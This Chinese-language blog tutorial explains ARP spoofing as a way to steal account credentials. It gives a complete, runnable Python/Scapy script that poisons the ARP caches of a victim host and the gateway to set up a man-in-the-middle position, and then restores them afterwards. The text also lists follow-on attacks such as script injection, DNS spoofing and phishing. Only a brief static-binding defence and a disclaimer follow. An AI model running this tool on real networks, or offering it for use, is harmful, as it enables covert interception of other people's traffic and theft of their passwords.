我們經常在電影中看到黑客能夠輕松獲取到別人的賬號密碼信息,那么現實中真的這么容易嗎?今天我來帶大家了解一下黑客是如何獲取到別人的賬號和密碼信息的。
在網路中獲取別人的賬號密碼其實不難,最簡單的就是數據監聽或釣魚,那么如何進行網絡數據監聽呢?arp欺騙可以實現,他能進行DNS欺騙和網絡釣魚的基礎,通過arp欺騙我們成為了中間人,對別人電腦的通訊數據截取和偽造修改,下面我們來詳細講解一下arp欺騙。
▊ 什么是ARP欺騙
這是一種技術,攻擊者可以通過該技術將欺騙性的ARP數據包(虛假數據包)發送到網絡(或特定主機)上,從而使攻擊者能夠即時攔截,更改或修改網絡流量。
一旦您(作為攻擊者)成為中間人,您就可以截取或更改傳入或傳出受害者設備的所有網絡數據報文內容。因此,在本教程中,我們將編寫一個Python/ target=_blank class=infotextkey>Python腳本來做到這一點。
在常規網絡中,所有設備均正常地與網關通信,然后再與Inte.NET通信,如下圖所示:
現在,攻擊者需要將ARP響應發送到兩個主機:
向網關發送ARP響應,說“我有受害者的IP地址”。
向受害者發送ARP響應,說“我有網關的IP地址”。
一旦攻擊者如上圖所示執行ARP Spoof攻擊,他/她將處于中間人的情況:
一旦受害者發送了任何數據包(例如HTTP請求),它將首先傳遞到攻擊者的計算機,然后將數據包轉發到網關,因此您可能會注意到,受害者對此一無所知,換句話說,他/她將無法弄清楚自己正在受到攻擊。
▊ 實戰演示
好了,理論說完了!在開始之前,您需要安裝所需的庫:
pip3 install scapy
如果您使用的是windows,請查看本教程以使Scapy在您的計算機上正常工作。此外,您需要安裝pywin32,如下所示:
pip3 install pywin32
編寫Python腳本
首先,我們需要導入必要的模塊:
from scapy.all import Ether, ARP, srp, send
import argparseimport timeimport osimport sys
首先,我需要提到我們需要啟用IP路由(即IP轉發)。
在多種平臺上啟用IP路由的方法有很多,但是,我在這里制作了一個python模塊,供您在Windows中啟用IP路由。
對于類Unix用戶(本教程建議的平臺),您所需要做的就是編輯文件“ / proc / sys / net / ipv4 / ip_forward” ,該文件需要root用戶訪問權,并將值1表示已啟用,或者使用以下python代碼:
def _enable_linux_iproute():
"""
Enables IP route ( IP Forward ) in linux-based distro
"""
file_path = "/proc/sys/net/ipv4/ip_forward"
with open(file_path) as f:
if f.read() == 1:
# already enabled
return
with open(file_path, "w") as f:
print(1, file=f)
對于Windows用戶,復制 services.py到當前目錄后,代碼如下:
def _enable_windows_iproute():
"""
Enables IP route (IP Forwarding) in Windows
"""
from services import WService
# enable Remote Access service
service = WService("RemoteAccess")
service.start()
好了,我們把以上代碼合起來,這樣兼容windows和類Unix系統的所有平臺:
def enable_ip_route(verbose=True):
"""
Enables IP forwarding
"""
if verbose:
print("[!] Enabling IP Routing...")
_enable_windows_iproute() if "nt" in os.name else _enable_linux_iproute()
if verbose:
print("[!] IP Routing enabled.")
首先,我們需要一個實用程序功能,使我們能夠獲取網絡中任何計算機的mac地址,代碼如下:
def get_mac(ip):
"""
Returns MAC address of any device connected to the network
If ip is down, returns None instead
"""
ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0)
if ans:
return ans[0][1].src
我們使用Scapy的srp()函數以數據包的形式發送請求,并不斷監聽響應,在這種情況下,我們正在發送ARP請求并監聽任何ARP響應。
其次,我們將創建一個功能來完成本教程的核心工作,給定目標IP地址和主機IP地址,它會更改目標IP地址的ARP緩存,說我們擁有主機的IP地址:
def spoof(target_ip, host_ip, verbose=True):
"""
Spoofs `target_ip` saying that we are `host_ip`.
it is accomplished by changing the ARP cache of the target (poisoning)
"""
# get the mac address of the target
target_mac = get_mac(target_ip)
# craft the arp 'is-at' operation packet, in other words; an ARP response
# we don't specify 'hwsrc' (source MAC address)
# because by default, 'hwsrc' is the real MAC address of the sender (ours)
arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')
# send the packet
# verbose = 0 means that we send the packet without printing any thing
send(arp_response, verbose=0)
if verbose:
# get the MAC address of the default interface we are using
self_mac = ARP().hwsrc
print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac))
上面的代碼獲取目標的MAC地址,制作惡意ARP應答(響應)數據包,然后將其發送。
一旦我們想停止攻擊,就需要將真實地址重新分配給目標設備(以及網關),如果不這樣做,受害者將失去互聯網連接,那么受害人就會發現異常了,通常的做法就是我們將依次發送七個合法的ARP回復數據包,代碼如下:
def restore(target_ip, host_ip, verbose=True):
"""
Restores the normal process of a regular network
This is done by sending the original informations
(real IP and MAC of `host_ip` ) to `target_ip`
"""
# get the real MAC address of target
target_mac = get_mac(target_ip)
# get the real MAC address of spoofed (gateway, i.e router)
host_mac = get_mac(host_ip)
# crafting the restoring packet
arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac)
# sending the restoring packet
# to restore the network to its normal process
# we send each reply seven times for a good measure (count=7)
send(arp_response, verbose=0, count=7)
if verbose:
print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac))
現在我們需要編寫主要的代碼,欺騙受害主機直到按下CTRL + C,代碼如下:
if __name__ == "__main__":
# victim ip address
target = "192.168.1.100"
# gateway ip address
host = "192.168.1.1"
# print progress to the screen
verbose = True
# enable ip forwarding
enable_ip_route()
try:
while True:
# telling the `target` that we are the `host`
spoof(target, host, verbose)
# telling the `host` that we are the `target`
spoof(host, target, verbose)
# sleep for one second
time.sleep(1)
except KeyboardInterrupt:
print("[!] Detected CTRL+C ! restoring the network, please wait...")
restore(target, host)
restore(host, target)
我在Linux機器上運行了腳本,這是我的結果的屏幕截圖:
在此示例中,如果您嘗試檢查ARP緩存,確定將我的個人計算機用作受害者:
您將看到攻擊者的MAC地址(在本例中為“ 192.168.1.105”)與網關的相同,欺騙成功了。
在攻擊者的計算機上,當您單擊CTRL + C關閉程序時,以下是還原過程的屏幕截圖:
回到受害者機器,您將看到網關的原始MAC地址已還原:
▊ 如何應對攻擊
攻擊成功后,攻擊者還可以做很多的事情。例如,您可以在html響應中注入JAVAscript代碼,對目標進行DNS欺騙,攔截文件并即時對其進行修改,網絡嗅探和監視、釣魚等等。
那么如何組織arp攻擊呢?
★、關閉路由器的dhcp功能,添加ip地址與mac地址靜態綁定功能。
★、本地添加網關的ip地址與mac地址靜態綁定。
這就是arp欺騙的python用法及應對辦法,本文旨在解密攻擊原理與過程及應對辦法,請勿用作其他非法用途。
關注我,每天更新一篇技術好文,下一節我將揭秘一下python中的dns欺騙的過程。